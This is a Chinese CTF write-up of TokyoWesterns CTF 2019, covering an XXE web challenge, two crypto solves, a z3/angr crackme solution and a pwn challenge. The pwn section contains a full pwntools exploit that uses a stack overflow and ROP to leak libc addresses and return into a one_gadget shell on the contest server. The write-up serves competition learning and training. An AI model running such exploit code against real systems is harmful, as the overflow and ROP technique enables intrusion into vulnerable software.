TokyoWesterns CTF 5th 2019(部分WP)
2019-09-09 09:18:00 Author: mp.weixin.qq.com(查看原文) 阅读量:47 收藏

0X00  比赛简介


本次比赛是由TokyoWesterns主办的安全竞赛,相对于我们小菜鸡来说还是比较难的,只能做做热身题了

本次比赛时间:2019/08/31 早上八点 — 2019/09/02 早上八点

0X01 签到


0X02 Web


j2x2j

观察题目,发现是json和xml互转

xxe直接打,成功

注:XXE相关的学习可到合天网安实验室操作实验——以打XXE漏洞攻击与防御,扫描下方二维码即可预览实验。

用php伪协议来读取源代码,发现包含flag.php



<?phpinclude 'flag.php';

读flag.php

注:相关PHP的学习可操作实验—— PHP安全特性之伪协议,了解php中的伪协议的应用及攻击手段研究。扫描下方二维码可预览该实验。

0X03  CRYPTO


real-baby-rsa | SOLVED | working: yuriXO, mads

题目给了N和e,发现N无法直接分解。观察代码发现加密过程是把flag字符一个一个进行加密。因为一个可见字符Ascii码为32-127,明文空间很小。所以我们就可以直接遍历字符所有可能值,直到找到密文与题目所给密文一致的即为正确明文。代码如下:

# flag = 'TWCTF{CENSORED}'flag = ''# # Public ParametersN = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091e = 65537
# # Encrypt the flag!# for char in flag:# print(pow(ord(char), e, N))
with open("./output", 'r') as f: c = f.readlines() for f in c: for ch in range(32, 127): if(pow(ch, e, N) == int(f)): flag += chr(ch) print(flag)
print(flag) # print(int(c[-1], 10))
# TWCTF{padding_is_important}

le Logic  | SOLVED | working: yuriXO

ruby语言,flag与密钥经过765轮的模加与异或得到flag密文,但后来又使用多组明文与同一个密钥进行加密,因此可以利用这些数据使用z3求解器求解出密钥,脚本如下:

#!/usr/bin/env python3# -*- coding: utf-8 -*-
from z3 import *
flag = 0x43713622de24d04b9c05395bb753d437
plain = [ 0x29abc13947b5373b86a1dc1d423807a, 0xeeb83b72d3336a80a853bf9c61d6f254, 0x7a0e5ffc7208f978b81475201fbeb3a0, 0xc464714f5cdce458f32608f8b5e2002e, 0xf944aaccf6779a65e8ba74795da3c41d, 0x552682756304d662fa18e624b09b2ac5]
enc = [ 0xb36b6b62a7e685bd1158744662c5d04a, 0x614d86b5b6653cdc8f33368c41e99254, 0x292a7ff7f12b4e21db00e593246be5a0, 0x64f930da37d494c634fa22a609342ffe, 0xaa3825e62d053fb0eb8e7e2621dabfe7, 0xf2ffdf4beb933681844c70190ecf60bf]
def encrypt(msg, key): mask = (1 << 128) - 1 for i in range(765): msg = (msg + key) & mask msg = msg ^ key return msg
def decrypt(msg, key): mask = (1 << 128) - 1 for i in range(765): msg = msg ^ key msg = (msg - key) & mask return msg
s = Solver()key = BitVec('key', 128)for p, e in zip(plain, enc): s.add(encrypt(p, key) == e)if s.check() == sat: m = s.model() key = m[key].as_long() # key = 62900030173734087782946667685685220617 assert decrypt(encrypt(plain[0], key), key) == plain[0] print("TWCTF{{{0}}}".format(hex(decrypt(flag, key))[2:]))else: print("unsat")

easy_crack_me

从IDA反编译的源码中可以看到一些限制:

  • 长度39

  • "TWCTF{"开头,"}"结尾

if ( strlen(a2[1]) != 39 )    {      puts("incorrect");      exit(0);    }    if ( memcmp(s, "TWCTF{", 6uLL) || s[38] != '}' )    {      puts("incorrect");      exit(0);    }
  • 中间部分只能为"0123456789abcdef"字符组成,个数分别为

    3+2+2+0+3+2+1+3+3+1+1+3+1+2+2+3

 v46 = '76543210';    v47 = 'fedcba98';    for ( i = 0; i <= 15; ++i )    {      for ( j = strchr(s, *((char *)&v46 + i)); j; j = strchr(j + 1, *((char *)&v46 + i)) )        ++*((_DWORD *)&s1 + i);    }    if ( memcmp(&s1, &unk_400F00, 0x40uLL) )    {      puts("incorrect");      exit(0);    }

进一步通过异或比较等操作对输入字符串进行限

 for ( k = 0; k <= 7; ++k )    {      v10 = 0;      v11 = 0;      for ( l = 0; l <= 3; ++l )      {        v5 = s[4 * k + 6 + l];        v10 += v5;        v11 ^= v5;      }      *((_DWORD *)&v21 + k) = v10;      *((_DWORD *)&v25 + k) = v11;    }        for ( m = 0; m <= 7; ++m )    {      v14 = 0;      v15 = 0;      for ( n = 0; n <= 3; ++n )      {        v6 = s[8 * n + 6 + m];        v14 += v6;        v15 ^= v6;      }      *((_DWORD *)&v29 + m) = v14;      *((_DWORD *)&v33 + m) = v15;    }    if ( memcmp(&v21, &unk_400F40, 0x20uLL) || memcmp(&v25, &unk_400F60, 0x20uLL) )    {      puts("incorrect");      exit(0);    }    if ( memcmp(&v29, &unk_400FA0, 0x20uLL) || memcmp(&v33, &unk_400F80, 0x20uLL) )    {      puts("incorrect");      exit(0);    }

从.rodata段可以找到对应的数据如下:

400F40:0x15E,0xDA,0x12F,0x131,0x100,0x131,0xFB,0x102
400F60:0x52,0x0C,0x01,0x0F,0x5C,0x05,0x53,0x58
400F80:0x01,0x57,0x07,0x0D,0x0D,0x53,0x51,0x51
400FA0:0x129,0x103,0x12B,0x131,0x135,0x10B,0xFF,0xFF

给出了每个字符数值范围的限制如下:

128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255
for ( ii = 0; ii <= 31; ++ii ) { v7 = s[ii + 6]; if ( v7 <= 47 || v7 > 57 ) { if ( v7 <= 96 || v7 > 102 ) v45[ii] = 0; else v45[ii] = 128; } else { v45[ii] = 255; } } if ( memcmp(v45, &unk_400FC0, 0x80uLL) ) { puts("incorrect"); exit(0); }

最后后两个约束分别为求和等于1160以及几个字符的值

for ( jj = 0; jj <= 15; ++jj )      v18 += s[2 * (jj + 3)];    if ( v18 != 1160 )    {      puts("incorrect");      exit(0);    }    if ( s[37] != 53 || s[7] != 102 || s[11] != 56 || s[12] != 55 || s[23] != 50 || s[31] != 52 )    {      puts("incorrect");      exit(0);    }

使用z3进行约束求解,脚本如下:

from z3 import *f = [BitVec('f%d'%i,8) for i in range(0,39)]
solver = Solver()solver.add(f[0]==ord('T'))solver.add(f[1]==ord('W'))solver.add(f[2]==ord('C'))solver.add(f[3]==ord('T'))solver.add(f[4]==ord('F'))solver.add(f[5]==ord('{'))solver.add(f[38]==ord('}'))solver.add(f[37]==53)solver.add(f[7]==102)solver.add(f[11]==56)solver.add(f[12]==55)solver.add(f[23]==50)solver.add(f[31]==52)
solver.add(f[6]+f[8]+f[10]+f[12]+f[14]+f[16]+f[18]+f[20]+f[22]+f[24]+f[26]+f[28]+f[30]+f[32]+f[34]+f[36]==1160)
result = [0x15E,0xDA,0x12F,0x131,0x100,0x131,0xFB,0x102]for i in range(0,8): solver.add(f[6+4*i]+f[6+4*i+1]+f[6+4*i+2]+f[6+4*i+3]==result[i])
result = [0x52,0x0C,0x01,0x0F,0x5C,0x05,0x53,0x58]for i in range(0,8): solver.add(f[6+4*i]^f[6+4*i+1]^f[6+4*i+2]^f[6+4*i+3]==result[i])
result = [0x129,0x103,0x12B,0x131,0x135,0x10B,0xFF,0xFF]for i in range(0,8): solver.add(f[6+i]+f[6+i+8]+f[6+i+2*8]+f[6+i+3*8]==result[i])
result = [0x01,0x57,0x07,0x0D,0x0D,0x53,0x51,0x51]for i in range(0,8): solver.add(f[6+i]^f[6+i+8]^f[6+i+2*8]^f[6+i+3*8]==result[i])
result = [128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255]
for i in range(32): if(result[i]==128): solver.add(f[i+6]>=97) solver.add(f[i+6]<=102) else: solver.add(f[i+6]>=48) solver.add(f[i+6]<=57)
num = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3]for i, ch in enumerate("0123456789abcdef"): count = 0 for x in f: count = count + If(x == ord(ch), 1, 0) solver.add(count == num[i])print solver.check()
result=solver.model()print results = ""
for i in range(0,39): s+=chr(result[f[i]].as_long().real)print s

TWCTF{df2b4877e71bd91c02f8ef6004b584a5}

angr也可以做,但本身对strchr不太支持,所以得NOP掉地址0x4007B1到0x400948,只需要做好约束就行了,不过从时间以及效率上来讲还是直接用z3来的痛快

# -*- coding: UTF-8 -*-
import angr
import claripy
argv_chars = [claripy.BVS('argv_%d' % i, 8) for i in range(39)]argv = claripy.Concat(*argv_chars)
p = angr.Project("./easy_crack_me",auto_load_libs=True)state = p.factory.full_init_state(args=["./easy_crack_me", argv], add_options=angr.options.unicorn)
state.solver.add(argv_chars[0] == ord('T'))state.solver.add(argv_chars[1] == ord('W'))state.solver.add(argv_chars[2] == ord('C'))state.solver.add(argv_chars[3] == ord('T'))state.solver.add(argv_chars[4] == ord('F'))state.solver.add(argv_chars[5] == ord('{'))state.solver.add(argv_chars[38] == ord('}'))
state.solver.add(argv_chars[37] == ord('5'))state.solver.add(argv_chars[7] == ord('f'))state.solver.add(argv_chars[11] == ord('8'))state.solver.add(argv_chars[12] == ord('7'))state.solver.add(argv_chars[23] == ord('2'))state.solver.add(argv_chars[31] == ord('4'))
result = [ 128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255]
for i in range(32): if (result[i] == 128): state.solver.add(argv_chars[i + 6] >= 97) state.solver.add(argv_chars[i + 6] <= 102) else: state.solver.add(argv_chars[i + 6] >= 48) state.solver.add(argv_chars[i + 6] <= 57)
num = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3]for i, ch in enumerate("0123456789abcdef"): count = 0 for x in argv_chars: count = count + claripy.If(x == ord(ch), claripy.BVV(b'\x01'), claripy.BVV(b'\x00')) state.solver.add(count == num[i])
sm = p.factory.simulation_manager(state)
sm.explore( find=0x400E10, avoid=[ 0x400BD9, 0x400C27, 0x400d12, 0x400d7c, 0x400DFC, 0x400777 ])
for fo in sm.found: ans = [] for ac in argv_chars: ans.append(ord(fo.solver.eval(ac, cast_to=bytes))) print("".join([chr(i) for i in ans]))

TWCTF{df2b4877e71bd91c02f8ef6004b584a5}


nothing more to say

漏洞点在gets函数以及printf函数

int __cdecl main(int argc, const char **argv, const char **envp){  char format; // [rsp+0h] [rbp-100h]
init_proc(*(_QWORD *)&argc, argv, envp); puts( "Hello CTF Players!\n" "This is a warmup challenge for pwnable.\n" "We provide some hints for beginners spawning a shell to get the flag.\n" "\n" "1. This binary has no SSP (Stack Smash Protection). So you can get control of instruction pointer with stack overflo" "w.\n" "2. NX-bit is disabled. You can run your shellcode easily.\n" "3. PIE (Position Independent Executable) is also disabled. Some memory addresses are fixed by default.\n" "\n" "If you get stuck, we recommend you to search about ROP and x64-shellcode.\n" "Please pwn me :)"); gets(&format); printf(&format); return 0;}

保护全没开,bof fsb随便搞

[*] '/root/workspace/elf/warmup'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments

调用两次puts泄漏got表地址,libc-database查询libc版本

~/toolchain/elf/libc-database(master) # ./find puts 9c0 gets 0b0    root@ubuntuhttp://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)

最后one_gadget覆盖返回地址拿shell

#! /usr/bin/env python# -*- coding: utf-8 -*-
from pwn import *import os, sys
# Setting at firstDEBUG = 3LIBCV = 2.19context.arch = "amd64"
context.log_level = "debug"elf = ELF("./warmup",checksec=False)
# synonyms for faster typingtube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactive
if DEBUG == 1: if context.arch == "i386": libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False) elif context.arch == "amd64": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) s = process("./warmup")elif DEBUG == 2: if context.arch == "i386": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 warmup") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 warmup") elif context.arch == "amd64": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 warmup") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 warmup") s = process("./warmup")elif DEBUG == 3: libc = ELF("./libc6_2.27-3ubuntu1_amd64.so",checksec=False) ip = "nothing.chal.ctf.westerns.tokyo" port = 10001 s = remote(ip,port) def pwn(): rdi = 0x400773
pl = "A"*264 pl += p64(rdi) pl += p64(elf.got["gets"]) pl += p64(elf.sym["puts"]) pl += p64(0x4006BA) s.sla("pwn me :)\n", pl)
s.r(267)
libc.address = u64(s.r(6) + "\0\0") - libc.sym["gets"] info("libc.address 0x%x", libc.address) info("system 0x%x", libc.sym["system"]) info("binsh 0x%x", libc.search("/bin/sh").next())
pl = "A"*264 pl += p64(libc.address + 0x4f2c5) #pl += p64(rdi) #pl += p64(libc.search("/bin/sh").next()) #pl += p64(libc.sym["system"]) s.sla("pwn me :)\n", pl)


# puts 690 # gets d80 # setbuf 6b0
# puts 9c0 # gets 0b0 # setbuf 4d0

s.irt() #clean()
if __name__ == "__main__": pwn()

TWCTF{AAAATsumori---Shitureishimashita.}

PWN是CTF赛事中主流题型,主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。相关的学习可操作实验—— CTF-PWN系列汇总——扫描下面的二维码或点击文末“阅读原文”预览学习。

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

点击“阅读全文”,注册学习。

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652851896&amp;idx=1&amp;sn=68055c42ac1a4057f86c249255c0b9f6&amp;chksm=bd5932758a2ebb636d29ba48fae02c7efea7d43e8f85a2f1a94f7ce5b63cc1fb4c0c83416507#rd
如有侵权请联系:admin#unsafe.sh